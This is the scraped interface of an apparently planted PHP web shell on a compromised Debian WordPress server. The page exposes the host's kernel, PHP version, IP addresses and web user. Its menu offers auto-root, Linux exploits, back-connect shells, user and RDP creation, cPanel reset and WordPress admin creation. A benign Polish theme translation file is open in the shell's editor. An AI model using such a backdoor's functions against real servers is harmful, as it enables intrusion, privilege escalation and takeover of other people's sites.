Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.221.157.203
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ilpnowa /
web /
wp-content /
languages /
themes /
[ HOME SHELL ]
Name
Size
Permission
Action
twenty
[ DIR ]
drwxr-xr-x
twentyfifteen-pl_PL.mo
6.9
KB
-rwxrwxr-x
twentyfifteen-pl_PL.po
9.29
KB
-rwxrwxr-x
twentyseventeen-pl_PL.mo
7.19
KB
-rwxrwxr-x
twentyseventeen-pl_PL.po
10.29
KB
-rwxrwxr-x
twentysixteen-pl_PL.mo
7.15
KB
-rwxrwxr-x
twentysixteen-pl_PL.po
10.38
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : twentyfifteen-pl_PL.po
# Translation of Themes - Twenty Fifteen in Polish # This file is distributed under the same license as the Themes - Twenty Fifteen package. msgid "" msgstr "" "PO-Revision-Date: 2019-11-05 08:27:23+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" "X-Generator: GlotPress/2.4.0-alpha\n" "Language: pl\n" "Project-Id-Version: Themes - Twenty Fifteen\n" #. Description of the theme msgid "Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages. We designed it using a mobile-first approach, meaning your content takes center-stage, regardless of whether your visitors arrive by smartphone, tablet, laptop, or desktop computer." msgstr "Nasz domyślny motyw (2015) jest schludny i przejrzysty, zorientowany na blogowanie. Motyw Twenty Fifteen posiada prostą i klarowną typografię, dzięki czemu jest czytelny na urządzeniach o różnych rozmiarach ekranów. Jest także przystosowany do wielu języków. Projektując motyw, kierowaliśmy się tzw. podejściem mobile-first, co oznacza, że najbardziej widoczna ma być zawsze treść, niezależnie od tego, czy odwiedzający używają do przeglądania smartfona, tabletu, laptopa, czy też komputera stacjonarnego." #. Theme Name of the theme msgid "Twenty Fifteen" msgstr "Twenty Fifteen" #: functions.php:243 msgid "Light Blue" msgstr "Jasnoniebieski" #: functions.php:238 msgid "Bright Blue" msgstr "Jaśniejący niebieski" #: functions.php:193 msgid "Light Gray" msgstr "Jasnoszary" #: functions.php:188 msgid "Dark Gray" msgstr "Ciemnoszary" #: functions.php:208 msgid "Dark Brown" msgstr "Ciemnobrązowy" #: functions.php:198 msgid "White" msgstr "Biały" #: functions.php:218 msgid "Light Pink" msgstr "Jasnoróżowy" #: functions.php:213 msgid "Medium Pink" msgstr "Różowy" #: functions.php:233 msgid "Blue Gray" msgstr "Szaroniebieski" #: functions.php:223 msgid "Dark Purple" msgstr "Cimnofioletowy" #. translators: %s: post title #: comments.php:31 msgctxt "comments title" msgid "One thought on “%s”" msgstr "Jedna myśl w temacie “%s”" #. translators: %s: post title #: inc/template-tags.php:130 msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>" msgstr "Dodaj komentarz<span class=\"screen-reader-text\"> do %s</span>" #: single.php:39 msgid "Previous post:" msgstr "Poprzedni wpis:" #: single.php:38 msgid "Previous" msgstr "Poprzedni" #: single.php:36 msgid "Next post:" msgstr "Następny wpis:" #: single.php:35 msgid "Next" msgstr "Następny" #: search.php:18 msgid "Search Results for: %s" msgstr "Wyniki wyszukiwania dla zapytania „%s”" #: inc/template-tags.php:120 msgctxt "Used before full size attachment link." msgid "Full size" msgstr "Pełny rozmiar" #: inc/template-tags.php:108 msgctxt "Used before tag names." msgid "Tags" msgstr "Tagi" #: inc/template-tags.php:99 msgctxt "Used before category names." msgid "Categories" msgstr "Kategorie" #: inc/template-tags.php:95 inc/template-tags.php:104 msgctxt "Used between list items, there is a space after the comma." msgid ", " msgstr ", " #: inc/template-tags.php:89 msgctxt "Used before post author name." msgid "Author" msgstr "Autor" #: inc/template-tags.php:79 msgctxt "Used before publish date." msgid "Posted on" msgstr "Opublikowano" #: inc/template-tags.php:56 msgctxt "Used before post format." msgid "Format" msgstr "Format wpisu" #: inc/template-tags.php:49 msgid "Featured" msgstr "Polecane" #: inc/template-tags.php:30 msgid "Newer Comments" msgstr "Nowsze komentarze" #: inc/template-tags.php:26 msgid "Older Comments" msgstr "Starsze komentarze" #: inc/template-tags.php:23 msgid "Comment navigation" msgstr "Nawigacja po komentarzach" #: inc/customizer.php:237 msgid "Blue" msgstr "Niebieski" #: inc/customizer.php:226 functions.php:228 msgid "Purple" msgstr "Fioletowy" #: inc/customizer.php:215 msgid "Pink" msgstr "Różowy" #: inc/customizer.php:204 functions.php:203 msgid "Yellow" msgstr "Żółty" #: inc/customizer.php:193 msgid "Dark" msgstr "Ciemny" #: inc/customizer.php:182 msgid "Default" msgstr "Domyślny" #: inc/customizer.php:103 msgid "Header and Sidebar Background Color" msgstr "Kolor tła nagłówka i panelu bocznego" #: inc/customizer.php:79 inc/customizer.php:104 inc/customizer.php:111 msgid "Applied to the header on small screens and the sidebar on wide screens." msgstr "Stosuje się do nagłówka na małych ekranach i panelu bocznego na szerokich ekranach." #: inc/customizer.php:78 msgid "Header and Sidebar Text Color" msgstr "Kolor tekstu w nagłówku i panelu bocznym" #: inc/customizer.php:55 msgid "Base Color Scheme" msgstr "Podstawowy zestaw kolorów" #: inc/back-compat.php:37 inc/back-compat.php:48 inc/back-compat.php:64 msgid "Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again." msgstr "Motyw Twenty Fifteen wymaga WordPressa w wersji 4.1 lub nowszej. Obecnie używasz WordPressa w wersji %s. Zaktualizuj system i spróbuj ponownie." #: image.php:88 msgctxt "Parent post link" msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>" msgstr "<span class=\"meta-nav\">Opublikowano w </span><span class=\"post-title\">%title</span>" #: image.php:25 msgid "Next Image" msgstr "Następny obrazek" #: image.php:25 msgid "Previous Image" msgstr "Poprzedni obrazek" #: header.php:50 msgid "Menu and widgets" msgstr "Menu i widgety" #: header.php:27 msgid "Skip to content" msgstr "Przeskocz do treści" #: functions.php:399 msgid "collapse child menu" msgstr "zwiń menu potomne" #: functions.php:398 msgid "expand child menu" msgstr "rozwiń menu potomne" #: functions.php:319 msgctxt "Add new subset (greek, cyrillic, devanagari, vietnamese)" msgid "no-subset" msgstr "no-subset" #: functions.php:311 msgctxt "Inconsolata font: on or off" msgid "on" msgstr "on" #: functions.php:303 msgctxt "Noto Serif font: on or off" msgid "on" msgstr "włącz" #: functions.php:295 msgctxt "Noto Sans font: on or off" msgid "on" msgstr "włącz" #: functions.php:268 msgid "Add widgets here to appear in your sidebar." msgstr "Dodaj tu widgety, a pojawią się w panelu bocznym witryny." #: functions.php:266 msgid "Widget Area" msgstr "Panel boczny" #: functions.php:87 msgid "Social Links Menu" msgstr "Menu odnośników serwisów społecznościowych" #: functions.php:86 msgid "Primary Menu" msgstr "Menu główne" #: footer.php:31 msgid "Proudly powered by %s" msgstr "Dumnie wspierane przez WordPressa" #: content-none.php:31 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Nie udało się znaleźć tego, czego szukasz. Być może wyszukiwanie przyniesie lepsze rezultaty." #: content-none.php:26 msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords." msgstr "Brak wyników wyszukiwania. Proszę spróbować ponownie z innymi słowami." #: content-none.php:22 msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>." msgstr "Gotów, by opublikować pierwszy post? <a href=\"%1$s\">Zacznij tutaj</a>. " #: content-none.php:15 msgid "Nothing Found" msgstr "Niczego nie znaleziono" #: content-link.php:60 content-page.php:37 image.php:74 content-search.php:28 #: content-search.php:33 content.php:61 msgid "Edit" msgstr "Edytuj" #: content-link.php:39 content-page.php:26 image.php:61 content.php:41 msgid "Pages:" msgstr "Strony:" #. translators: %s: Name of current post #: inc/template-tags.php:249 content-link.php:32 content.php:34 msgid "Continue reading %s" msgstr "Czytaj dalej %s" #: comments.php:71 msgid "Comments are closed." msgstr "Możliwość komentowania jest wyłączona." #. translators: 1: number of comments, 2: post title #: comments.php:35 msgctxt "comments title" msgid "%1$s thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "%1$s myśl w temacie “%2$s”" msgstr[1] "%1$s myśli w temacie “%2$s”" msgstr[2] "%1$s myśli w temacie “%2$s”" #: author-bio.php:34 msgid "View all posts by %s" msgstr "Zobacz wszystkie wpisy, których autorem jest %s" #: author-bio.php:12 msgid "Published by" msgstr "Autor" #: archive.php:53 content-link.php:43 index.php:50 content-page.php:30 #: image.php:65 content.php:45 search.php:43 msgid "Page" msgstr "strona" #: archive.php:52 index.php:49 search.php:42 msgid "Next page" msgstr "Następna strona" #: archive.php:51 index.php:48 search.php:41 msgid "Previous page" msgstr "Poprzednia strona" #: 404.php:21 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "Wygląda na to, że w tym miejscu niczego nie ma. Może warto spróbować coś wyszukać?" #: 404.php:17 msgid "Oops! That page can’t be found." msgstr "Ups! Nie udało się znaleźć pożądanej strony." #. Author of the theme msgid "the WordPress team" msgstr "zespół WordPressa" #. Theme URI of the theme msgid "https://wordpress.org/themes/twentyfifteen/" msgstr "https://wordpress.org/themes/twentyfifteen/" #. Author URI of the theme #: footer.php:30 msgid "https://wordpress.org/" msgstr "https://pl.wordpress.org/"
Close